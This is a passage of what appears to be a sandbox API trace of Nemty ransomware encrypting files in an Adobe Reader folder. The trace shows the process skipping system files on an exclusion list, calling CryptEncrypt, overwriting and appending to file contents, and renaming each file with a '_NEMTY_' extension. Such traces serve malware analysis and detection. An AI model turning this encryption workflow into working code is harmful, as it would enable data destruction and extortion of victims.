lpUsedDefaultChar=0x0) returned 9 [0216.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt55.ths", lpUsedDefaultChar=0x0) returned 9 [0216.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt55.ths", lpUsedDefaultChar=0x0) returned 9 [0216.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt55.ths", lpUsedDefaultChar=0x0) returned 9 [0216.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340500 [0216.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.721] Sleep (dwMilliseconds=0x5) [0216.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d16230, dwHighDateTime=0x1d561e8)) [0216.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d16230, dwHighDateTime=0x1d561e8)) [0216.729] GetLastError () returned 0x0 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.729] GetLastError () returned 0x0 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.729] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.729] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.729] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.729] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="ldS8RobiEFDnbrbI36ce17zUcT4hvKwzYh69gIfG1rGQ0uwhgv0a0E01zmuDOqgL\r\nmTIJf4OHony42amof5c4EHBJ+aJtt0Ky5UpWx5l1XxpRzbVSypHthWIusL3CpzOR\r\nwVE6tiVmkuoOqi7epDlmGJT4baamOIMEfL6EROpwTJhD9gi/pPox7mbuj2oGvD0s\r\nK/2tHxxCrh/9zCK4BTa6YA7ni1zGgotn76HEjy17BNWRn+TRFcJO/6wYnyLsPMhh\r\nsxjNoXHVv/i02x15tZwtWTFIBexXNZdW7ImwWWaH1Vg5CR7vzxX5CbPTYet/ZJop\r\nkNaWEJMwnnCPXezIKFQjJQ==\r\n", pcchString=0x653df5c) returned 1 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt55.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt55.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.730] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=534528) returned 1 [0216.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0216.730] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.730] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0216.739] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.739] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0216.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.740] SetFilePointer (in: hFile=0x320, lDistanceToMove=534528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x82800 [0216.740] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.741] CloseHandle (hObject=0x320) returned 1 [0216.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0216.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344198 [0216.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344270 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.742] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt55.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt55.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt55.ths._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt55.ths._nemty_kgobjgd_")) returned 1 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344270 | out: hHeap=0x4f90000) returned 1 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.743] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brz.fca", cAlternateFileName="")) returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2=".") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="..") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="...") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="windows") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="$RECYCLE.BIN") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="rsa") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="NTDETECT.COM") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="ntldr") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="MSDOS.SYS") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="IO.SYS") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="boot.ini") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="boot.ini") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="AUTOEXEC.BAT") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="ntuser.dat") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="desktop.ini") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="CONFIG.SYS") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="RECYCLER") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="BOOTSECT.BAK") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="bootmgr") returned 1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="programdata") returned -1 [0216.743] lstrcmpiW (lpString1="brz.fca", lpString2="appdata") returned 1 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.fca", lpUsedDefaultChar=0x0) returned 7 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.fca", lpUsedDefaultChar=0x0) returned 7 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.fca", lpUsedDefaultChar=0x0) returned 7 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.fca", lpUsedDefaultChar=0x0) returned 7 [0216.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.744] Sleep (dwMilliseconds=0x5) [0216.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d3c390, dwHighDateTime=0x1d561e8)) [0216.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d3c390, dwHighDateTime=0x1d561e8)) [0216.744] GetLastError () returned 0x0 [0216.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.744] GetLastError () returned 0x0 [0216.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.744] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.744] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.744] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.745] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="RWHsynUdnQk/rtO3MpY4JV4mFrw2vH+cVOQT+Ja0ucA5oWtUaaU18wOvHNsUI/kM\r\n0ST4/GYcNdYcfJBWvG0vfFkDfp6eLQZXwv4gnwEH5CTRC857jjCZitHjSkInKj4o\r\nNmGq4LtypSiFmgpp4U33A76nYgGsjZV1IX+u0vEZeJ5oTRNW85oROGWSFmN9iEoU\r\nG9zM1DX9S0nJmO0ihIjgnOTRYtABGk9tbCaGbEA764RMR+i3K8wK+8bzUrOGS5zo\r\nXVKmIl02MuwZPCtru+OYIINk1ROoKCuwU2IAK+a3CCS0TqYfHqMgvcamqC0y9PJM\r\nCvATbpcz5oH5GS68neEXmQ==\r\n", pcchString=0x653df5c) returned 1 [0216.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.746] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=1596) returned 1 [0216.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x630) returned 0x4f9f4a0 [0216.746] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.746] ReadFile (in: hFile=0x320, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x630, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653e1a4*=0x630, lpOverlapped=0x0) returned 1 [0216.749] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.749] WriteFile (in: hFile=0x320, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653e19c*=0x630, lpOverlapped=0x0) returned 1 [0216.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0216.749] SetFilePointer (in: hFile=0x320, lDistanceToMove=1596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0216.749] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.749] CloseHandle (hObject=0x320) returned 1 [0216.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344178 [0216.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344250 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.750] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.fca._nemty_kgobjgd_")) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344250 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.750] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brz.hyp", cAlternateFileName="")) returned 1 [0216.750] lstrcmpiW (lpString1="brz.hyp", lpString2=".") returned 1 [0216.750] lstrcmpiW (lpString1="brz.hyp", lpString2="..") returned 1 [0216.750] lstrcmpiW (lpString1="brz.hyp", lpString2="...") returned 1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="windows") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="$RECYCLE.BIN") returned 1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="rsa") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="NTDETECT.COM") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="ntldr") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="MSDOS.SYS") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="IO.SYS") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="boot.ini") returned 1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="boot.ini") returned 1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="ntuser.dat") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="desktop.ini") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="CONFIG.SYS") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="RECYCLER") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="BOOTSECT.BAK") returned 1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="bootmgr") returned 1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="programdata") returned -1 [0216.751] lstrcmpiW (lpString1="brz.hyp", lpString2="appdata") returned 1 [0216.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.751] WideCharToMultiByte (in: 